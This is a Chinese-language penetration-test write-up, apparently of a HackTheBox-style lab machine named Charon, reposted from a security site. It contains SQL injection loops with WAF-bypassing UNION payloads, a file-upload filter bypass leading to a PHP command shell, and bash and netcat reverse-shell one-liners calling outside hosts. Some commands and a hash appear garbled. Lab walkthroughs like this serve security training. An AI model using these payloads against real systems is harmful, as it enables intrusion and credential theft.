记一次CHARON对的渗透测试
2023-12-26 16:0:38 Author: xz.aliyun.com(查看原文) 阅读量:9 收藏

1.端口扫描

nmap发现开放了OpenSSH和Apache服务。

访问80端口,发现是一个cms界面。

翻了一下,没有可用的地方。

2.目录扫描

使用gobuster进行目录扫描
gobuster dir-u http://10.10.10.31 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -o scans/gobuster-root-small-php -t 40
扫描发现存在cmsdata目录。

访问一下,发现是一个登录框,测试几个弱口令没成功。

发现有一个忘记密码功能。butp抓包测试sql注入。

3.sql注入

输入'报错,然后输入"提提升找不到这个emali。证明存在sql注入。

使用limit进行判断字段。

1.脚本测试

使用脚本枚举出了可用的用户名。

for i in{1..1000};do curl -s http://10.10.10.31/cmsdata/forgot.php --data-urlencode"[email protected]' or 1=1 limit ${i},1;-- -" | grep'<h2>' | awk'{print $5}' | grep-v"^with"||break;done
for i in $(seq 0 300); do
        payload="[email protected]' UNIoN SELECT 1,2,3,CONCAT(__username_, ':', __password_, '@b.com') FROM supercms.operators LIMIT 1 OFFSET $i-- -"
        curl -s -d "$payload" http://10.10.10.31/cmsdata/forgot.php | grep -o '[^ ]*@b.com'
        done

2.手工union联合查询Bypass waf

经过测试,发现在查到第4位的时候会出现报错。

猜测可能存在waf拦截,然后经过测试,将UNION SELECT都使用大写进行测试,可以成功测试注入。

使用脚本探测那一列是电子邮箱的地址。

for i in $(seq 0 300); dopayload="[email protected]' UNIoN SELECT 1,2,3,CONCAT(__username_, ':', __password_, '@b.com') FROM supercms.operators LIMIT 1 OFFSET $i-- -"curl -s -d "$payload" http://10.10.10.31/cmsdata/forgot.php | grep -o '[^ ]*@b.com' done

发现到了第四列的时候,出现了有关邮箱的格式。

使用脚本枚举数据库。

for i in {0..100}; do curl -s http://10.10.10.31/cmsdata/forgot.php --data-urlencode "[email protected]' UNiON SELECT 1,schema_name,3,'[email protected]' from information_schema.schemata limit ${i},1;-- -" | grep '<h2>' | awk '{print $5}' | grep -v "^with$" || break; done | cut -d'>' -f2


使用GROUP_CONCATSQL 函数,它将一整列合并为一个结果。

联合查询获取用户名和密码。

查找管理员用户名和密码。

4.md5解密

super_cms_adm:0b0689ba94f94533400f4decd87fa260,decoder:5f4dcc3b5aa765d61d8327deb8

5.文件上传

成功登录之后,发现存在一个上传地址。

对php格式的文件进行测试,发现不能成功上传。

测试.php.jpg格式的文件进行上传,可以上传不能解析。
服务器通常通过三种方式过滤文件类型:
● 文件扩展名
● 内容类型
● 魔术字节/MIME 类型
我已经用 提交了这个Content-Type: image/jpeg,所以它必须不止于此。该消息表明它正在限制扩展。如果我只是上传cmd.jpg而不更改名称,它仍然会报错。
6.文件上传bypass
发现返回包,存在一个字段类似于base64加密的。

使用echo进行base64解密。

然后修改name格式,进行上传。

不能成功上传。

然后先设置burp,接收响应包的内容。
1.修改前端代码绕过文件上传
将name修改为testfile1

然后输入cmd.php,重新上传.php.jpg格式的文件。成功上传。

2.命令执行

在上传之后可以利用cmd去执行一些命令。

7.使用bash反弹shell

bash -c 'bash -i >%26 /dev/tcp/10.10.16.2/443 0>%261
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.2 443 >/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

nc进行监听

成功反弹shell。

翻文件,发现在home/decoder目录下存在2个密钥。
8.使用nc下载文件

9.密钥解密

使用RsaCtfTool进行暴力破解
安装步骤:
(sudo apt install libmpc-dev libgmp3-dev sagemath和pip3 install -r requirements.txt)

成功解密。

10.ssh远程登录

获取第一个flag(user.txt)。

11、使用find命令,查找可利用的suid文件

find / -perm-4000-ls 2>/dev/null

发现supershell可以利用。

利用supershell成功读到了root.txt,成功获得了第二个flag。


文章来源: https://xz.aliyun.com/t/13204
如有侵权请联系:admin#unsafe.sh